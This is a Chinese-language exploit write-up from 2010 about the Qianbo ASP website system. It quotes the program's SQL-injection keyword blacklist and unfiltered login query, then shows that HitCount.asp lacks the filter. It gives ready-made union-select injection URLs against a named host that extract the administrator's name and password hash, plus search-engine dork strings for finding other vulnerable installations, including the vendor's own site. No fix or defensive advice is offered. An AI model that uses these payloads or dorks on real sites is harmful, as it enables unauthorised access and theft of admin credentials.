发布日期:2010-04-19
发布作者:Lan3a
影响版本: 全部
漏洞描述:
程序都加入了防注入代码的,在NoSql.asp文件中
<% If EnableStopInjection = True Then Dim Fy_Post, Fy_Get, Fy_In, Fy_Inf, Fy_Xh, Fy_db, Fy_dbstr Fy_In = "'|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" Fy_Inf = Split(Fy_In, "|") If Request.Form<>"" Then For Each Fy_Post In Request.Form For Fy_Xh = 0 To UBound(Fy_Inf) If InStr(LCase(Request.Form(Fy_Post)), Fy_Inf(Fy_Xh))<>0 Then Response.Write "" Response.End End If Next Next End If If Request.QueryString<>"" Then For Each Fy_Get In Request.QueryString For Fy_Xh = 0 To UBound(Fy_Inf) If InStr(LCase(Request.QueryString(Fy_Get)), Fy_Inf(Fy_Xh))<>0 Then Response.Write "" Response.End Response.End End If Next Next End If End If %>
没有过滤cookie,不过程序在对变量传入时都限制了整型的,所以我也没办法。
继续看。
MemberLogin.Asp这个文件
Dim LoginName, LoginPassword, VerifyCode, MemName, Password, GroupID, GroupName, Working, rs, sql LoginName = Trim(request.Form("LoginName")) LoginPassword = Md5(request.Form("LoginPassword")) Set rs = server.CreateObject("adodb.recordset") sql = "select * from Qianbo_Members where MemName='"&LoginName&"'"
没有加入防注入代码,不过却是登录验证页面,如果是MSsql数据库我们还好办点。
这个时候,在HitCount.Asp这个文件里发现,文件没有调用防注入代码
<% Dim rs, m_SQL Dim m_ID m_ID = ReplaceBadChar(Request.QueryString("id")) m_LX = ReplaceBadChar(Request.QueryString("LX")) action = ReplaceBadChar(Request.QueryString("action")) If action = "count" Then conn.Execute("update "&m_LX&" set ClickNumberClickNumber = ClickNumber + 1 where ID=" & m_ID & "") Else m_SQL = "select ClickNumber from "&m_LX&" where ID=" & m_ID Set rs = conn.Execute(m_SQL) response.Write "document.write("&rs(0)&");" rs.Close Set rs = Nothing End If %> 就是这个文件了。我们来构造注入语句
如下:
http://blog.cfyhack.cn/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20password%20from%20qianbo_admin 获取管理密码
http://blog.cfyhack.cn/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20adminname%20from%20qianbo_admin 获取管理帐号
关键字:
inurl:Search.Asp?Range=Product&Keyword=
inurl:ProductBuy.Asp?ProductNo=
官网也存在这个问题,通杀。